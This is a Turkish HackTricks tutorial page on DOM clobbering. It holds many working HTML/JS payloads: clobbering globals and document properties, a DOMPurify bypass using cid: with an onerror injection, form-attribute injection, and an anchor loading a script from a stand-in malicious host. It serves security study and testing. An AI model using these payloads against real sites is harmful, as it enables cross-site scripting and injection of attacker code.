hacktricks/pentesting-web/xss-cross-site-scripting/dom-clobbering.md
2024-02-10 18:14:16 +00:00

219 lines
13 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Dom Clobbering
<details>
<summary><strong>AWS hackleme becerilerinizi sıfırdan ileri seviyeye taşıyın</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary>
* **Bir siber güvenlik şirketinde çalışıyor musunuz?** **Şirketinizi HackTricks'te reklamını yapmak ister misiniz?** veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile göndererek paylaşın**.
</details>
## **Temel Bilgiler**
HTML etiketlerinde **`id`** ve **`name`** özellikleriyle **JS bağlamında global değişkenler oluşturmak mümkündür**.
```html
<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
```
**Sadece** belirli öğeler, `embed`, `form`, `iframe`, `image`, `img` ve `object` öğeleri, **name özniteliğini** kullanarak global değişkenleri **clobber** edebilir.
İlginç bir şekilde, bir **form öğesi** kullanarak bir değişkeni **clobber** ettiğinizde, öğenin kendisinin **`toString`** değerini alırsınız: `[object HTMLFormElement]` ancak **anchor** ile **`toString`** değeri anchor'ın **`href`** değeri olacaktır. Bu nedenle, **`a`** etiketi kullanarak clobber yaparsanız, **dize olarak işlendiğinde** **değeri kontrol** edebilirsiniz:
```html
<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>
```
### Diziler ve Öznitelikler
Bir dizi ve nesne özniteliğini **clobber** etmek de mümkündür:
```html
<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>
```
**Bir 3. özniteliği (örneğin x.y.z) clobberlamak** için bir **`form`** kullanmanız gerekmektedir:
```html
<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>
```
Daha fazla özniteliği clobberlemek **daha karmaşık ama hala mümkün**, iframeler kullanılarak:
```html
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>
```
{% hint style="warning" %}
Stil etiketi, iframe'in render işlemini yapması için yeterli zamanı vermek için kullanılır. Bu olmadan, bir **tanımsız** uyarısıyla karşılaşacaksınız.
{% endhint %}
Daha derin öznitelikleri clobberlemek için, aşağıdaki gibi **html kodlamasıyla iframe'ler** kullanabilirsiniz:
```html
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>
```
### **Filtre Atlama**
Bir filtre, `document.getElementByID('x').attributes` gibi bir şey kullanarak bir düğümün **özelliklerini** döngüyle geçiyorsa, **`.attributes`** özniteliğini **clobber** edebilir ve filtreyi **kırabilirsiniz**. **`tagName`**, **`nodeName`** veya **`parentNode`** gibi diğer DOM özellikleri de **clobberable** olabilir.
```html
<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>
```
## **`window.someObject`'ı Clobberlama**
JavaScript'te sıkça şu şekilde karşılaşılır:
```javascript
var someObject = window.someObject || {};
```
Sayfa üzerinde HTML manipülasyonu, `someObject`'i bir DOM düğümüyle geçersiz kılmanıza ve potansiyel olarak güvenlik açıklarına neden olmanıza olanak tanır. Örneğin, `someObject`'i kötü amaçlı bir betiğe işaret eden bir bağlantı elemanıyla değiştirebilirsiniz:
```html
<a id=someObject href=//malicious-website.com/malicious.js></a>
```
Zararlı bir kodda şu gibi bir açık bulunabilir:
```html
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
```
Bu yöntem, istenmeyen kodları çalıştırmak için betik kaynağını kullanır.
**Hile**: **`DOMPurify`**, **`cid:`** protokolünü kullanmanıza olanak tanır, bu da **çift tırnakları URL kodlaması yapmadığı anlamına gelir**. Bu, **çalışma zamanında kodun çözümleneceği kodlanmış çift tırnakları enjekte edebileceğiniz** anlamına gelir. Bu nedenle, **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** gibi bir şey enjekte etmek, HTML kodlu `&quot;`'nin **çalışma zamanında çözümleneceğini** ve **öznitelik değerinden kaçacağını** ve **`onerror`** olayını **oluşturacağını** yapar.
Başka bir teknik, bir **`form`** öğesi kullanır. Belirli bir istemci tarafı kitaplığı, yeni oluşturulan bir form öğesinin özniteliklerini temizlemek için bunları kontrol eder. Ancak, formun içine `id=attributes` olan bir `input` ekleyerek, öznitelikler özelliğini etkili bir şekilde üzerine yazarsınız ve temizleyicinin gerçek özniteliklere erişmesini engellersiniz.
Bu tür bir üzerine yazma örneğini [**bu CTF yazısında bulabilirsiniz**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
## Belge nesnesi üzerine yazma
Belge Nesnesi'nin özniteliklerini DOM Clobbering kullanarak üzerine yazmak mümkündür:
> [Belge](https://html.spec.whatwg.org/multipage/dom.html#document) arayüzü [isimli özellikleri destekler](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Herhangi bir anda bir [Belge](https://html.spec.whatwg.org/multipage/dom.html#document) nesnesinin desteklenen özellik adları, aşağıdakileri içerir: [ağaç sırasına](https://dom.spec.whatwg.org/#concept-tree-order) göre, katkıda bulunan öğeye göre, daha sonraki yinelenmeleri yok sayarak ve aynı öğe hem ad hem de ad özniteliği katkıda bulunduğunda, ad özniteliği değerleri ad özniteliklerinden önce gelir:
>
> \- İsimsiz olmayan ad içeriği olan tüm [açığa çıkarılmış](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) ve [açığa çıkarılmış](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) öğeleri için ad içeriği değeri ve belgeyi [kök](https://dom.spec.whatwg.org/#concept-tree-root) olarak kullanan bir belge ağaç yapısında bulunan öğeler;\
> \
> \- İsimsiz olmayan [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) içeriği olan tüm [açığa çıkarılmış](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) öğeleri ve belgeyi [kök](https://dom.spec.whatwg.org/#concept-tree-root) olarak kullanan bir belge ağaç yapısında bulunan öğeler;\
> \
> \- İsimsiz olmayan [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) ve isim içeriği olan tüm [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) öğeleri ve belgeyi [kök](https://dom.spec.whatwg.org/#concept-tree-root) olarak kullanan bir belge ağaç yapısında bulunan öğeler.
Bu teknik kullanılarak yaygın olarak kullanılan **değerlerin üzerine yazabilirsiniz, örneğin `document.cookie`, `document.body`, `document.children`** ve hatta `document.querySelector` gibi Belge arayüzündeki yöntemler.
```javascript
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
document.cookie
HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
```
## Element ezildikten sonra yazma
**`document.getElementById()`** ve **`document.querySelector()`** çağrılarının sonuçları, aynı id özniteliğine sahip bir `<html>` veya `<body>` etiketi enjekte edilerek değiştirilebilir. İşte nasıl yapılacağı:
```html
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>
```
Ayrıca, bu enjekte edilmiş HTML/body etiketlerini gizlemek için stiller kullanarak, `innerText` içindeki diğer metinlerin müdahalesi engellenebilir ve böylece saldırının etkinliği artırılabilir:
```html
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
SVG araştırmaları, `<body>` etiketinin de etkili bir şekilde kullanılabileceğini ortaya çıkardı:
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
HTML etiketinin Chrome ve Firefox gibi tarayıcılarda SVG içinde çalışabilmesi için `<foreignobject>` etiketi gereklidir:
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
## Formları Clobbering
Bazı etiketlerin içine `form` özniteliğini belirterek bir formun içine **yeni girişler eklemek** mümkündür. Bu yöntemi kullanarak bir formun içine **yeni değerler ekleyebilir** ve hatta **göndermek için yeni bir düğme** bile ekleyebilirsiniz (clickjacking veya bazı `.click()` JS kodunu kötüye kullanma):
{% code overflow="wrap" %}
```html
<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
```
{% endcode %}
* Daha fazla form özniteliği için [**burayı kontrol edin**](https://www.w3schools.com/tags/tag\_button.asp)**.**
## Referanslar
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
* [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
* Heyes, Gareth. JavaScript for hackers: Bir hacker gibi düşünmeyi öğrenin.
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramanlık seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını yapmak** ister misiniz? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **göndererek paylaşın.**
</details>